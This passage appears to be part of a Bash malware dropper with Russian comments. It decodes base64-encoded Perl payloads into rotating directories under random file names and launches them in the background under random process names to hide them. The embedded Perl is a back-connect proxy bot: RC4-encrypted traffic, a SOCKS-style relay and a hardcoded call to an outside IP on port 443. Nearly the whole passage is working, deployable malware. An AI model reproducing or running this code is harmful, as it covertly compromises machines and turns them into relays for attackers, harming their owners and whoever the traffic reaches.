eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #8 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #8 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 9 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr 